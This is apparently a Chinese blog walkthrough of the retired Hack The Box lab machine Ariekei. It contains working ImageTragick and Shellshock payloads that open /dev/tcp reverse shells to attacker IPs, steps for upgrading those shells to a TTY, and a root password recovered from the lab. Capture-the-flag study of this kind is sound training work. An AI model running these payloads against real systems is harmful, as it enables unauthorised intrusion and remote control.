HTB-靶机-Ariekei

本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏,否则造成一切后果与发表本文章的作者无关

靶机是作者购买VIP使用退役靶机操作,显示IP地址为10.10.10.65

本次使用https://github.com/Tib3rius/AutoRecon 进行自动化全方位扫描

执行命令 autorecon 10.10.10.65 -o ./Ariekei-autorecon

有用的扫描结果:

根据上面扫描结果发现存在cgi-bin目录,但是访问显示403,于是在此基础上再次进行爆破,命令如下

gobuster dir -k -e -u https://ariekei.htb/cgi-bin/ -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./ariekei-bmfx-gobuster

得到如下结果

访问对应地址

可确认存在shelshock漏洞,尝试手工验证一下

但结果显示的不是想要的,可能有WAF,先放着看看上面得出来的域名,试试爆破看看

gobuster dir -k -e -u https://calvin.ariekei.htb -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./calvin-bmfx-gobuster
gobuster dir -k -e -u https://beehive.ariekei.htb -t 500 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -o ./beehive-bmfx-gobuster

使用上面两个命令快速爆破出来这两个域名对应存在的目录

先访问upload,因为看到这个总感觉简单一些上传一下就搞定的感觉

标题是图片转换,根据经验猜测可能有imagetragick漏洞,相应的漏洞信息参考:https://imagetragick.com/

利用方式如下:

将下面代码保存为bmfx.mgv

push graphic-context
viewbox 0 0 640 480
fill 'url(https://"|setsid /bin/bash -i >/dev/tcp/10.10.14.5/8833 0<&1 2>&1")'ms
pop graphic-context

成功反弹shell

翻看了家目录和执行一些操作,发现限制很多,这并不是真正的目标靶机,但是发现如下信息

猜测当前获得的shell可能是docker环境,然后根据上面的提示目录翻看,得到如下

可以确认就是dockers环境了,再查看下隐藏文件,还真有,发现了重要信息

将上述密钥保存文档给600权限连接过去,上述在插一句,这里是可以将得到的反弹shell升级成为tty-shell,步骤如下:

得到上述按照套路执行fg就会像如上一样的结果,此时我们可以如下操作

然后执行reset即可得到tty-shell ; 

我们继续上面的来,得到密钥保存到本地之后,根据上面给出的配置docker环境及网络脚本得知大概的网络拓扑结构,映射的端口及IP地址,所以我们连接目标映射的1022端口

ssh -i ariekei_id.rsa 10.10.10.65 -p 1022 -l root

得知我们上面爆破出来的两个域名,是反向代理配置,对应域名是docker环境下的IP地址

从上面我们就可以得知了,目标对外开放的两个域名对应的web应用都是docker环境,通过WAF反向代理出来,供我们访问,上面我们已经拿下了域名calvin.ariekei.htb ,而另一个域名beehive.ariekei.htb 因为刚开始想利用shellshock但是被WAF拦截了,所以我们此时想绕过WAF,拿下此目标就直接在calvin这台docker机器上进行利用即可,然后目前遇到的问题是docker机器命令很少,限制很多,不过没关系,确认当前获得的权限含有python,那么可以使用python进行反弹,这里使用手动的curl方式,但是没有curl命令,使用wget验证可以成功验证漏洞可以执行命令,但是不能反弹shell

wget --user-agent='() { :; }; /bin/bash -i > /dev/tcp/172.23.0.253/8833 0<&1 2>&1' http://172.24.0.2/cgi-bin/stats

这里我是没有成功,大家可以测试下,我看到网上很多列举的方法是在这里就通过ssh进行端口转发,将目标的端口都映射出去,然后从kali本地进行利用,这种方式我觉得比较繁琐,我是直接使用自定义好的exploit,在目标靶机上成功反弹shell

对应利用shellshock的脚本:https://github.com/nccgroup/shocker

利用方式:
python shocker.py -H 172.24.0.2 --command "/bin/bash -i > /dev/tcp/172.24.0.253/8833 0<&1 2>&1" -c /cgi-bin/stats

成功在目标靶机上反弹shell,并且升级为tty-shell

下面是对应的升级为tty-shell的操作的两种方式,她们可以交叉使用

非 python环境tty-shell
script /dev/null -c bash
在键盘上按住Ctrl+Z
stty raw -echo
fg
reset
会让你输入类型,输入:xterm
echo $TERM(查看类型,可以不执行)
export TERM=xterm
export SHELL=bash
stty rows 54 columns 104  (得到这个是在本地kali执行 stty -a所获得)

获取tty-shell

/bin/bash -i
export TERM=xterm-256color
SHELL=/bin/bash script -q /dev/null
# ctrl+z to background channel
# background meterpreter session
stty raw -echo
reset
reset
# go back to meterpreter session and channel
reset

成功登录到另一个目标靶机系统看了下权限还是很受限制,还是看不了user.txt

此时想到上面获取第一台目标靶机的docker环境中有root的密码,对应信息是:root:Ib3!kTEvYw6*P7s

使用su直接切换至root账户

使用root权限成功进入到目标靶机环境的ssh目录,获取了对应的公钥和私钥

复制其私钥保存到本地kali中,看私钥是设置了私钥的密码,我们是john通过密码字典进行破解下,破解之前先转换

得到了私钥的密码,直接使用用户spanishdancer进行登录

再次确认此时登录的靶机是否是宿主机

看到了我们最终的IP地址为10.10.10.65,可以确认现在就是真正的宿主机了,不是docker环境,准备开始提权了,看了当前docker含有哪些镜像,发现bash进行可以提权,参考链接:https://fosterelli.co/privilege-escalation-via-docker.html

 

迷茫的人生,需要不断努力,才能看清远方模糊的志向!
原文地址:https://www.cnblogs.com/autopwn/p/14042550.html